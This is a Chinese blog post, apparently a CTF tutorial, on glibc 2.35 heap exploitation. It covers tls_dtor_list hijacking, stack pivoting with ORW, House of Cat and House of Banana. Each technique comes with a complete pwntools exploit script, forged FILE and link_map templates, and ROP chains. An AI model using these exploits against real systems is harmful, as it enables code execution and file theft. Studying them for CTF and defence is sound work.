首页 > 其他分享 >glibc2.35 CTFPwn高版本下的堆块利用

glibc2.35 CTFPwn高版本下的堆块利用

时间:2024-07-29 23:53:27浏览次数:15  
标签:map alloc p64 堆块 FILE glibc2.35 CTFPwn IO fake

运用exithook:

劫持tls_dtor_list:

例题(XYCTF2024 ptmalloc2 it‘s myheap pro):

题目的libc版本是2.35,在glibc2.34版本的时候我们常用的exithook(比如dl_rtld_lock_recursive和dl_rtld_unlock_recursive)就被删除了,所以在这道题里面我们劫持另一个exithook,tls_dtor_list,但这里和之前我们常用exithook不同,它并不是简单地覆盖就可以执行了,它的利用过程相较于之前常用的exithook更复杂。下面详细讲一下。

劫持tls_dtor_list:

函数调用链

exit
    __run_exit_handlers
        __call_tls_dtors
            func (cur->obj) 
Dump of assembler code for function __call_tls_dtors:
   0x00007ffff7c45d60 <+0>:     endbr64
   0x00007ffff7c45d64 <+4>:     push   rbp
   0x00007ffff7c45d65 <+5>:     push   rbx
   0x00007ffff7c45d66 <+6>:     sub    rsp,0x8
   0x00007ffff7c45d6a <+10>:    mov    rbx,QWORD PTR [rip+0x1d401f]        # 0x7ffff7e19d90
   0x00007ffff7c45d71 <+17>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45d75 <+21>:    test   rbp,rbp
   0x00007ffff7c45d78 <+24>:    je     0x7ffff7c45dbd <__call_tls_dtors+93>
   0x00007ffff7c45d7a <+26>:    nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7c45d80 <+32>:    mov    rdx,QWORD PTR [rbp+0x18]
   0x00007ffff7c45d84 <+36>:    mov    rax,QWORD PTR [rbp+0x0]
   0x00007ffff7c45d88 <+40>:    ror    rax,0x11
   0x00007ffff7c45d8c <+44>:    xor    rax,QWORD PTR fs:0x30
   0x00007ffff7c45d95 <+53>:    mov    QWORD PTR fs:[rbx],rdx
   0x00007ffff7c45d99 <+57>:    mov    rdi,QWORD PTR [rbp+0x8]
   0x00007ffff7c45d9d <+61>:    call   rax
   0x00007ffff7c45d9f <+63>:    mov    rax,QWORD PTR [rbp+0x10]
   0x00007ffff7c45da3 <+67>:    lock sub QWORD PTR [rax+0x468],0x1
   0x00007ffff7c45dac <+76>:    mov    rdi,rbp
   0x00007ffff7c45daf <+79>:    call   0x7ffff7c28370 <free@plt>
   0x00007ffff7c45db4 <+84>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45db8 <+88>:    test   rbp,rbp
   0x00007ffff7c45dbb <+91>:    jne    0x7ffff7c45d80 <__call_tls_dtors+32>
   0x00007ffff7c45dbd <+93>:    add    rsp,0x8
   0x00007ffff7c45dc1 <+97>:    pop    rbx
   0x00007ffff7c45dc2 <+98>:    pop    rbp
   0x00007ffff7c45dc3 <+99>:    ret
End of assembler dump.

__call_tls_dtors+10:将偏移值存入rbx

__call_tls_dtors+17:将fs基地址偏移后的地址的值存入rbp,也就是tls_dtor_list的值

__call_tls_dtors+21:判断tls_dtor_list是否为空,如果不为空则继续进行

__call_tls_dtors+36:将tls_dtor_list地址开始的前8个字节作为地址取值并传入rax

__call_tls_dtors+57:将tls_dtor_list地址开始,将+8到+16范围的值传入rdi

__call_tls_dtors+40:将rax的值循环右移17位

__call_tls_dtors+44:将rax的值与fs+0x30处的值异或

__call_tls_dtors+61:call rax

从以上看来,并不是直接call tls_dtor_list里的值,而是将tls_dtor_list前8字节当作地址取其值,存入rbp,再取rbp的值存入rax,再循环右移17位,再与fs+0x30的值异或,最后才call rax。

完整exp:

from pwn import*
p=process('./heappro')
free_got=0x403F98
manba=0x401700
 
def alloc(index,size,content):
    p.sendlineafter(b'>>>',str(1))
    p.sendlineafter(b'input chunk_idx:',str(index))
    p.sendlineafter(b'Enter chunk size:',str(size))
    p.sendafter(b'Enter chunk data:',content)
def free(index):
    p.sendlineafter(b'>>>',str(2))
    p.sendlineafter(b'Enter chunk id:',str(index))
def show(index):
    p.sendlineafter(b'>>>',str(3))
    p.sendlineafter(b'Enter chunk id:',str(index))
def exit():
    p.sendlineafter(b'>>>',str(4))
 
alloc(0,0x28,b'aa')
alloc(1,0x28,b'aa')
alloc(2,0x18,b'aa')
free(0)
free(1)
alloc(3,0x18,b'a'*0x10)
show(3)
p.recvuntil(b'a'*0x10)
heapbase=u64(p.recv(4).ljust(8,b'\x00'))-0x2c0
 
free(3)
alloc(3,0x18,p64(0)+p64(1)+p64(heapbase+0x2d0))
alloc(4,0x28,p64(0)*4)
alloc(5,0x28,p64(0x30)+p64(0x91)*3)
 
for i in range(6,13):
    alloc(i,0x80,b'aa')
for i in range(6,13):
    free(i)
free(1)
show(5)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0 
print("libcbase=="+hex(libcbase))
for i in range(6,13):
    alloc(i,0x80,b'aa')
alloc(1,0x80,b'aa')
alloc(14,0x28,b'aa')
free(14)
free(4)
show(1)
p.recvuntil(b'\x00\x31')
p.recv(15)
key=u64(p.recv(8))
free(1)
tls_dtor_list8=libcbase-0x2920
print("tls_dtor_list=="+hex(tls_dtor_list8))
fd=(heapbase>>12)^tls_dtor_list8
print("fd=="+hex(fd))
print("heapbase >> 12=="+hex(heapbase >> 12))
payload=p64(0)*3+p64(0x21)+p64(heapbase>>12)+p64(0)
payload+=p64(heapbase+0x3c0)+p64(0x31)+p64(fd)+p64(key)
alloc(1,0x80,payload)
alloc(14,0x28,b'aa')
free(6)
free(7)
fs30_addr=libcbase-0x2890
print("fs+30=="+hex(fs30_addr))
payload=p64(0x10)+p64(1)+p64(fs30_addr-0x8)
alloc(4,0x18,payload)
show(6)
p.recvuntil(b'\x00')
p.recv(7)
fs30=u64(p.recv(8))
 
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
system=system^fs30
system=bin(system)[2:].zfill(64)
system=int(system[17:]+system[:17],2)
payload=p64(system)+p64(binsh)
free(3)
alloc(3,0x18,payload)
payload=p64(0)+p64(heapbase+0x2a0)
alloc(15,0x28,payload)
exit()
p.interactive()

 #补充1:这里的tls_dtor_list8是tls_dtor_list-0x8,因为创建堆块的性质,所以选择在-0x8处创建堆块,tls_dtor_list的地址可以用gdb找出。

#补充2:最后system进行的是循环左移,与逻辑左移不同

#补充3:在glibc2.35中,只有覆盖fd为目标地址与heapbase>>12的值,才能正确地将fd设置为目标地址。

#补充4:因为__call_tls_dtors是将tls_dtor_list前8字节当作地址取其值,存入rbp,再取rbp的值存入rax,所以要覆盖tls_dtor_list为存有system的堆块地址。

#补充5:fs的基地址也可以用gdb找出,用fsbase命令。

#补充5:这里之所以可以覆盖fd是因为利用了程序,最开始先控制两个0x20大小的堆块,将将要伪造的堆块的地址填到程序申请堆块的地址,然后再填充0x91到size位伪造堆块,将对应的0x20大小堆块以及伪造堆块分别放到fastbin和unsortedbin,后面再申请0x80就可以得到一个不破坏堆块结构的0x80大小的堆块了。

栈迁移+ORW:

例题(XYCTF2024 ptmalloc2 it‘s myheap plus):

泄露libc和堆地址就不多说了,fastbin duf也不解释了。这里主要是利用fastbin duf在environ附近创建堆块,泄露environ中的栈地址,然后就利用fastbin duf修改rbp和返回地址进行栈迁移了,迁移目标地址是我们填充ROP的堆块地址(栈迁移前要完成修改堆块地址处权限、将ROP填充到堆块中。

完整exp:


from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./heapplus')
p=remote('gz.imxbt.cn',20680)
 
def alloc(index,size,content):
    p.sendlineafter(b'>>>',bytes(str(1).encode('utf-8')))
    p.sendlineafter(b'chunk_idx:',bytes(str(index).encode('utf-8')))
    p.sendlineafter(b'size: ',bytes(str(size).encode('utf-8')))
    p.sendafter(b'data:',content)
def free(index):
    p.sendlineafter(b'>>>',bytes(str(2).encode('utf-8')))
    p.sendlineafter(b'chunk id:',bytes(str(index).encode('utf-8')))
def show(index):
    p.sendlineafter(b'>>>',bytes(str(3).encode('utf-8')))
    p.sendlineafter(b'chunk id:',bytes(str(index).encode('utf-8')))
def exit():
    p.sendlineafter(b'>>>',bytes(str(4).encode('utf-8')))
 
for i in range(7):
    alloc(i,0x80,b'aaaa')
alloc(7,0x80,b'aaaa')
alloc(8,0x80,b'aaaa')
alloc(9,0x80,b'aaaa')
for i in range(7):
    free(i)
free(7)
free(8)
for i in range(7):
    alloc(i,0x80,b'aaaa')
alloc(10,0x18,p64(0x80)+p64(1))
show(7)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-(0x750dcd21ace0-0x750dcd000000)
show(10)
p.recv(8)
p.recv(8)
p.recv(8)
heapbase=u64(p.recv(8))- (0x57369a90c870 - 0x57369a90b000)
print(hex(heapbase))
for i in range(7):
    alloc(i,0x68,b'aa')
alloc(7,0x68,b'aa')
alloc(8,0x68,b'aa')
alloc(9,0x68,b'aa')
for i in range(7):
    free(i)
free(7)
free(8)
for i in range(7):
    alloc(i,0x68,b'aa')
alloc(10,0x18,p64(0x68)+p64(1))
for i in range(7):
    free(i)
free(7)
for i in range(7):
    alloc(i,0x68,b'aaaa')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
environ=libcbase+libc.sym['__environ']
pos=heapbase+(0x5a28a79cbb30-0x5a28a79cb000)
target=(pos>>12)^(environ-0x10)
alloc(7,0x68,p64(target))
alloc(8,0x68,b'aa')
alloc(7,0x68,b'aa')
alloc(7,0x68,b'a'*0x10)
show(7)
p.recvuntil(b'a'*0x10)
onestack=u64(p.recv(8))
rbp=onestack-(0x7ffecf5425e8-0x7ffecf5424c0)
rsp=onestack-(0x7ffecf5425e8-0x7ffecf5424c8)
for i in range(7):
    alloc(i,0x58,b'aa')
alloc(7,0x58,b'aa')
alloc(8,0x58,b'aa')
alloc(9,0x58,b'aa')
for i in range(7):
    free(i)
free(7)
free(8)
for i in range(7):
    alloc(i,0x58,b'aa')
alloc(10,0x18,p64(0x58)+p64(1))
for i in range(7):
    free(i)
free(7)
for i in range(7):
    alloc(i,0x58,b'aa')
ret=libcbase+0x0000000000029139
leave_ret=libcbase+0x000000000004da83
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rcx=libcbase+0x000000000003d1ee
pop_r8=libcbase+0x00000000001659e6
reads=libcbase+libc.sym['read']
mmap=libcbase+libc.sym['mmap']
mprotect=libcbase+libc.sym['mprotect']
block_addr=heapbase+(0x5acfdfaa5010-0x5acfdfaa3000)
block_addr2=heapbase+(0x5c22450170c0-0x5c2245015000)
payload=p64(pop_rdi)+p64(heapbase)
payload+=p64(pop_rsi)+p64(0x21000)
payload+=p64(pop_rdx_r12)+p64(7)+p64(0)
payload+=p64(mprotect)
payload+=p64(block_addr2+0x10)
alloc(11,0x80,payload)
 
payload=b'flag'
payload=payload.ljust(0x10,b'\x00')
payload+=asm(f'''
mov rdi,{block_addr2}
mov rsi,0
mov rax,2
syscall
mov rdi,3
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,0
syscall
mov rdi,1
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,1
syscall
''')
alloc(12,0x80,payload)
pos=heapbase+(0x644695eefeb0-0x644695eee000)
alloc(7,0x58,p64((rbp)^(pos>>12)))
alloc(8,0x58,b'aa')
alloc(7,0x58,b'aa')
alloc(7,0x58,p64(block_addr-0x8)+p64(leave_ret))
exit()
 
p.interactive()

House of Cat:

原理:

调用顺序:
exit->_IO_wfile_jumps->_IO_wfile_seekoff->_IO_switch_to_wget_mode

 _IO_wfile_seekoff源码:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  if (mode == 0)
    return do_ftell_wide (fp);

  int must_be_exact = ((fp->_wide_data->_IO_read_base
			== fp->_wide_data->_IO_read_end)
		       && (fp->_wide_data->_IO_write_base
			   == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));
    
  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
    ......
}
libc_hidden_def (_IO_wfile_seekoff)

 _IO_switch_to_wget_mode源码:

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}
0x7ffff7c83cb0 <_IO_switch_to_wget_mode>        endbr64 
0x7ffff7c83cb4 <_IO_switch_to_wget_mode+4>      mov    rax, qword ptr [rdi + 0xa0]
0x7ffff7c83cbb <_IO_switch_to_wget_mode+11>     push   rbx
0x7ffff7c83cbc <_IO_switch_to_wget_mode+12>     mov    rbx, rdi
0x7ffff7c83cbf <_IO_switch_to_wget_mode+15>     mov    rdx, qword ptr [rax + 0x20]
0x7ffff7c83cc3 <_IO_switch_to_wget_mode+19>     cmp    rdx, qword ptr [rax + 0x18]
0x7ffff7c83cc7 <_IO_switch_to_wget_mode+23>     jbe    _IO_switch_to_wget_mode+56
0x7ffff7c83cc9 (_IO_switch_to_wget_mode+25) ◂— mov rax, qword ptr [rax + 0xe0]
0x7ffff7c83cd5 (_IO_switch_to_wget_mode+37) ◂— call qword ptr [rax + 0x18]

我们可以伪造_IO_FILE结构体,我们可以控制执行流

#  rax1=[rdi+0xa0]

#  rdx=[rax+0x20]

#  rax2=[rax+0xe0]

#  call [rax+0x18]

fake_IO_FILE=p64(pop_rdi) #需修改地址
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)#rax2

fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2 #需修改地址
fake_IO_FILE+=p64(ret)

这里伪造_IO_FILE结构体可以直接照着模板写 

例题(ciscn2024 初赛 EzHeap):

环境:glibc 2.35

知识点:堆溢出、House of Cat

###解题思路:

利用largebin泄露出libc地址和heap地址,利用堆溢出在_IO_list_all处写入伪造_IO_FILE结构体地址,在某一堆块伪造_IO_FILE地址,在某一堆块写入orw,exit触发IO流完成ORW。

gdb查看结构体操作:

###伪造后的_IO_FILE结构体:

完整exp:

from pwn import*
#context(log_level='debug')
p=process('./ezheap')

def alloc(size,content):
    p.sendlineafter(b'>>',b'1')
    p.sendlineafter(b'size:',str(size).encode('utf-8'))
    p.sendafter(b'content',content)
def free(index):
    p.sendlineafter(b'>>',b'2')
    p.sendlineafter(b'idx:',str(index).encode('utf-8'))
def edit(index,content):
    p.sendlineafter(b'>>',b'3')
    p.sendlineafter(b'idx:',str(index).encode('utf-8'))
    p.sendlineafter(b'size:',str(len(content)).encode('utf-8'))
    p.sendafter(b'content',content)
def show(index):
    p.sendlineafter(b'>>',b'4')
    p.sendlineafter(b'idx:',str(index).encode('utf-8'))

def gdbs():
    gdb.attach(p)
    pause()

alloc(0x200,b'aa')
alloc(0x420,b'aa')
alloc(0x420,b'aa')
free(1)
alloc(0x440,b'aa')
show(0)
payload=b'a'*0x210
edit(0,payload)
show(0)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libcbase=onelibc-0x21b0d0

payload=b'a'*0x220
edit(0,payload)
show(0)
p.recvuntil(b'a'*0x220)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x2510
payload=b'a'*0x200+p64(0)+p64(0x431)
edit(0,payload)
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')#11
free(11)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
IO_list_all=libcbase+libc.sym['_IO_list_all']
payload=b'a'*0x60+p64(0)+p64(0x71)+p64(((heapbase+0x19f0)>>12)^(IO_list_all))+p64(0)
edit(3,payload)

chunk0=heapbase+0x2300
chunk1=heapbase+0x2d80
chunk2=heapbase+0x2950
chunknew=heapbase+0x19f0

fake_IO_FILE_addr=chunk0+0x10
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rax=libcbase+0x0000000000045eb0
syscall=libcbase+0x91316

_IO_wfile_jumps=libcbase+0x2170c0
setcontext=libcbase+libc.sym['setcontext']
ret=libcbase+0x0000000000029139
flag_addr=chunknew+0x10
orw_addr=chunk2+0x10

fake_IO_FILE=p64(pop_rdi)
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)

fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2
fake_IO_FILE+=p64(ret)
edit(0,fake_IO_FILE)

orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
edit(2,orw)

print("orw="+hex(orw_addr))
print("setcontext3d="+hex(setcontext+0x3d))
print("pop_rdi="+hex(pop_rdi))
alloc(0x60,b'flag\x00')#flag_addr
alloc(0x60,p64(fake_IO_FILE_addr))
p.sendlineafter(b'>>',b'5')

p.interactive()

House of Banana:

例题(ISCC2024 heapheap):

delete存在uaf漏洞

largebin attack手法:

#创建4个堆块,其中第1个堆块和第3个堆块为可入largebin大小,第3个堆块大小小于第一个堆块,剩余的两个为保护堆块,大小适当即可

#释放堆块1,申请一个比堆块1更大的堆块

#释放堆块3

#修改堆块1的bk_nextsize为目标地址-0x20

#再申请一个比堆块1大的堆块,向目标地址写入堆块3的地址

伪造link_map:

link_map=p64(0)
link_map+=p64(l_next)
link_map+=p64(0)
link_map+=p64(chunk_base) #l_real
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110) #l-info[26] chunkbase+256
link_map+=p64(chunk_base+0x110+0x20)#l->l_info[26]->d_un.d_ptr 此处为指针数组array
link_map+=p64(chunk_base+0x110+0x10)#l-info[28]
link_map+=p64(0x20) #l-info[29] 此处除以8为i
link_map+=b"flag\x00\x00\x00\x00" #array[0]
link_map+=p64(chunk_base) #chunkbase为伪造link map的地址
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) #此处为ret 单纯只是ret
link_map+=p64(0)*12
link_map+=p64(0) #rdi rdx+0x68 read第一个参数
link_map+=p64(chunk_base+0x1f8) #rsi rdx+0x70 此处为read的第二个参数
link_map+=p64(0)*2
link_map+=p64(0x100)#rdx rdx+0x88 此处为read第三个参数
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8) #rsp rdx+0xa0 chunk+480 在setcontext执行后为rsp
link_map+=p64(libcbase+libc.sym['read']) #rcx rdx+0xa8 setcontext会跳转执行rcx
link_map+=p64(0)*36
link_map+=p64(0x800000000)

伪造link map主要是想利用结构体中的函数执行array[i]()

也就是执行read,将orw写入目标地址

这里可以直接照模板写

gdb查看原有link map操作:

rtld_global的指针是指向link map结构体的,所以可以查看其内容知道link map地址

输入命令:x/4gx &_rtld_global

输入命令:p *((struct link_map*)0x00007f9e6b7cd190)

完整exp:

from pwn import*
context(arch='amd64')
p=process('./heapheap')

def alloc(index,size):
    p.sendlineafter(b'Your choice:', b'1')
    p.sendlineafter(b"index:\n", str(index).encode())
    p.sendlineafter(b"Size:\n", str(size).encode())
def show(index):
    p.sendlineafter(b'Your choice:\n', b'2')
    p.sendlineafter(b"index:\n", str(index).encode())
    p.recvline()
def edit(index,content):
    p.sendlineafter(b'Your choice:', b'3')
    p.sendlineafter(b"index:", str(index).encode())
    p.sendafter(b"context:",content)
def free(index):
    p.sendlineafter(b'Your choice:', b'4')
    p.sendlineafter(b"index:\n", str(index).encode())

alloc(0,0x428)
alloc(1,0x500)
alloc(2,0x418)
free(0)
alloc(3,0x500)
show(0)
fd=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('./libc-2.31.so')
libcbase=fd-0x430-0x30-libc.sym['__malloc_hook']
success("libcbase="+hex(libcbase))
payload=b'a'*0x10
edit(0,payload)
show(0)
p.recv(0x10)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x290
rtld_global=libcbase+0x228060-0x6000
free(2)
chunk_base=heapbase+0xbd0
print("l_next="+hex(rtld_global+0x16e0))
print("l_real="+hex(chunk_base))
print("l-info[26]="+hex(chunk_base+0x110))
print("l-info[27]="+hex(chunk_base+0x110+0x20))
print("rsp="+hex(chunk_base+0x1f8))
print("setcontext_3d="+hex(libcbase+libc.sym['setcontext']+0x3d))
print("pop_rdi="+hex(libcbase+0x23b6a))
print("chunkbase="+hex(chunk_base))
print("read="+hex(libc.sym['read']))
payload=p64(fd)*2+p64(oneheap)+p64(rtld_global-0x20)
edit(0,payload)
alloc(4,0x500)
pop_rdi=libcbase+0x23b6a
pop_rsi=libcbase+0x2601f
pop_rdx=libcbase+0x119431
setcontext_3d=libcbase+libc.sym['setcontext']+0x3d
l_next=rtld_global+0x16e0

link_map=p64(0)
link_map+=p64(l_next)
link_map+=p64(0)
link_map+=p64(chunk_base) #l_real
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110) #l-info[26] chunkbase+256
link_map+=p64(chunk_base+0x110+0x20)#l->l_info[26]->d_un.d_ptr
link_map+=p64(chunk_base+0x110+0x10)#l-info[28]
link_map+=p64(0x20) #l-info[29]
link_map+=b"flag\x00\x00\x00\x00"
link_map+=p64(chunk_base)
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) 
link_map+=p64(0)*12
link_map+=p64(0) #rdi rdx+0x68
link_map+=p64(chunk_base+0x1f8) #rsi rdx+0x70
link_map+=p64(0)*2
link_map+=p64(0x100)#rdx rdx+0x88
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8) #rsp rdx+0xa0 chunk+480
link_map+=p64(libcbase+libc.sym['read']) #rcx rdx+0xa8
link_map+=p64(0)*36
link_map+=p64(0x800000000)
edit(2,link_map)
p.sendlineafter(b'Your choice:',b'5')
flag_addr = chunk_base+0x130
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(libcbase+libc.sym['open'])
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['read'])
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['write'])
p.send(orw)
p.interactive()

持续更新

标签:map,alloc,p64,堆块,FILE,glibc2.35,CTFPwn,IO,fake
From: https://blog.csdn.net/2301_79326813/article/details/140783696

相关文章

  • 堆块的重叠
    堆块重叠对堆的了解不是很多,大部分都是自己网上找的资料了解的,以后每一道堆题我都会仔仔细细的写出来。这里先拿一道做示范题目链接:链接:https://pan.baidu.com/s/1HbHkdHbEzt4UIe44gW8uqg提取码:Ch13看保护,pie保护关闭,延迟绑定,got表可以修改64位ida载入我们看看实现的功能......
  • CTFpwn进阶之路从栈到堆---初步理解
    曾听过某大佬讲,pwn的等级大致分为三种,栈,堆,内核。这篇文章总结了我目前对堆的理解,肯定不够深入,不过我将更注重于偏抽象和本质的东西,希望各位看完能有些不同的收获。堆题小结就我目前的理解来说,堆和栈有个很不同的地方。栈的漏洞经常是可以栈溢出直接改变函数返回地址,通过pop|ret做到......
  • CTFpwnAD世界pwnstack题解及栈溢出两种解法
    问题的出现这题我刚看到时差点没笑出来,但是尝试了一次之后我就笑不出来了。这题给了back_door后门函数,但是如果直接覆盖返回到后门函数起始位置会出现栈溢出问题。到这一步都没有出现问题,而继续ni的话就会卡住。基本上这里看到xmm0就是栈对其问题了。出现问题原因很简单,linux系统一......
  • CTFpwnAD世界dice_game题解wp
    惯例checksec一下看看main首先seed函数用时间生成一个随机数,这个随机数做为srand函数的参数让srand函数生成一个种子。(这个种子会影响后面的rand函数生成结果,并且同样的种子会使rand函数生成同样的随机数,就是所谓的伪随机)以及看到这里会有连续五十轮游戏。sub_A20这里就是每一轮......
  • CTFpwn全保护简单介绍及一道保护全开题
    今日份心脏骤停,噔噔咚!每种保护介绍FullRELRO保护原理:其实就是不让你改写got表中的内容。影响:不能劫持stack_chk_fail函数以绕过canary,不能劫持动态链接里面已经调用过的函数。(不懂libc快去翻我文章doge)Canary保护原理:在所有函数的栈的末尾(比如rbp-8)插入一个值,叫做canary,在......
  • CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp
    三个例子的引入目前我遇到的格式化字符串漏洞(formatstring,后文简称fmt)主要存在于printf函数,本文也就以printf举例。例一,标准格式的printf read(0,buf,33);printf("%s",buf);例二,占位符与变量 printf("%d%c%s",a,b,c);//%d%c%s会访问变量以输出整型,字符等。其中a,b,c为三......
  • CTfpwn攻防世界int_overflow对于strlen的利用以及汇编是神
    分析这题题目已经在暗示用int数据的overflow了,不过不急,先分析一下。保护基本没啥保护,也挺好,适合不用搞太多花里胡哨的泄露,只需理解这题想告诉你的知识。后门函数看到有一个whatisthis函数,正是我们要的catflag函数。main函数login函数main函数里需要的操作很简单,只需输入一个1就......
  • ISCTFpwn的ezpie题解
    目前接触的随机好像都与地址有关,而且还有一个特性也就是只是基址随机,只要有任意一个地址就可以知道其他所有具体地址。(libc和pie保护)这里将通过ezpie这道题介绍绕过pie的一种方式,泄露地址一获取全部地址的方法。本人还不太懂partiallywrite的原理,就不误人子弟了。这里我们看到v5......
  • 2023ISCTFpwn题目:stack题解
    这是我在这次比赛中遇到最有意思的一题,不仅让我看到了一种有意思的题型,而且让我开始看懂了pwndbg的调试界面。IDA里面是这样的,有直接可以提权的backdoor函数,有read函数,看似有点像ret2system。让我们分析一下这个函数的读入逻辑:首先让你输入一个size值,read会总共分size次读入一个字......
  • 堆利用 -- 堆块重叠
    0x01介绍堆块重叠是借助堆溢出来修改chunk的size字段让其包含多个chunk,然后就可以实现一些非法的操作,比如泄露修改chunk的fd指针。之所以能够完成重叠实际上和free函数有关,由于chunk释放的时候只会检查nextchunk的size字段是否合法,而nextchunk的获取是通过chunk+size来获取的,......